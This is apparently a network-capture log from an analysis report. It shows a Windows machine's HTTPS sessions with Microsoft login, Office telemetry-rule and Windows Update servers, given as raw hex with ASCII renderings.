2024-11-21 21:10:00 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:10:01 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:09:00 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_BAY x-ms-request-id: 89eb260d-28c1-4007-b9e6-e13810c9e25b PPServer: PPV: 30 H: PH1PEPF0001B812 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:10:00 GMT Connection: close Content-Length: 11409
2024-11-21 21:10:01 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:01 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:02 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:02 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211002Z-178bfbc474bfw4gbhC1NYCunf400000001yg00000000v8qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:02 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-21 21:10:02 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49838	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:03 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-21 21:10:03 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:10:03 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:09:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_SN1 x-ms-request-id: 77b36ae9-aedf-4961-afd8-257596680eb5 PPServer: PPV: 30 H: SN1PEPF0002F01E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:10:02 GMT Connection: close Content-Length: 11409
2024-11-21 21:10:03 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49839	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HAfoF53L47c7EP+&MD=v3okLSN6 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 21:10:03 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 33523fc3-e1ea-4b6a-b720-edbb9aeea850 MS-RequestId: 6c2fea18-d6db-4727-9512-30a42930bd47 MS-CV: rpTZflTh/kSp21Us.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 21:10:02 GMT Connection: close Content-Length: 30005
2024-11-21 21:10:03 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-21 21:10:03 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:04 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:05 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211005Z-r1d97b99577tssmjhC1TEB8kan0000000av00000000089d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
